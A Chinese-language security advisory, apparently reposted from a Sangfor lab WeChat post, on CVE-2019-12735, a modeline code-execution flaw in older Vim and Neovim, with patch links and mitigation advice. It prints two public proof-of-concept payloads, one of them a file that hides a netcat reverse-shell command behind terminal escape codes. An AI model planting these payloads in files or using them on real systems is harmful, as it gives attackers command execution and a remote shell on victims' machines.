漏洞名称:Vim编辑器本地代码执行漏洞
威胁等级:严重
影响范围:Vim 8.1.1365 之前版本受影响,Neovim 0.3.6 之前版本受影响
漏洞类型:代码执行漏洞
利用难度:较难
千里百科 - Vim介绍
Vim是一款功能强大,扩展性高的文本编辑器,因其在代码补全与代码编译方面有着突出的优势,而被Unix/Linux平台的程序开发人员广泛使用。
漏洞分析
Vim 8.1.1365之前版本与Neovim 0.3.6 之前版本因在命令行功能中允许在文件的开头或结尾附近指定自定义编辑器选项。默认启用并适用于所有文件类型,从而导致:source! 命令可用于绕过沙箱限制。从既定文件中读取并执行命令,因此可以轻松构建在沙箱外允许运行代码的模式行。目前Arminius 在GitHub 上公开了该漏洞Poc。
漏洞利用姿势一:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发文件中的命令代码来执行系统命令。
1、被公开的相应PoC代码如下:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
2、可以看出,文件poc.txt中的“uname -a”代码命令被执行成功。效果如下:
(图1)
3.2、漏洞利用姿势二:
通过构造特殊PoC文件,在modeline被启用的情况下,使用对应版本的Vim编辑器中执行PoC文件,触发本地PoC文件中的“nohup nc 127.0.0.1 9999 -e /bin/sh &”代码命令,执行shell反弹命令,从而导致服务器被控制。
1、被公开的相应PoC代码如下:
x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
2、可以看出,文件Shell.txt中的“nohup nc 127.0.0.1 9999 -e /bin/sh &” 代码命令被执行成功。效果如下:
(图2)
3、Neovim的nvim_input() 函数同样可以被构造进行本地命令执行,构造方式与 Vim编辑器方式类似,在此不做过多赘述。
影响范围
目前受影响的软件版本:
1,Vim 8.1.1365 之前版本受影响
2,Neovim 0.3.6 之前版本受影响
修复建议
安装Vim团队和Neovim团队发布的安全更新补丁或按照厂商建议进行漏洞防范:
Vim安全补丁下载地址:
https://github.com/vim/vim/commit/5357552
Neovim安全补丁下载地址:
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
温馨提示:在打完补丁之后,建议禁用ModelLine,如确实需要,可使用Securemodelines进行代替。
参考链接
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
时间轴
2019/06/04
国外Arminius安全研究员披露漏洞
2019/06/06
深信服千里目安全实验室翻译并发布漏洞预警
原文始发于微信公众号(深信服千里目安全实验室):Vim编辑器本地代码执行漏洞预警(CVE-2019-12735)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论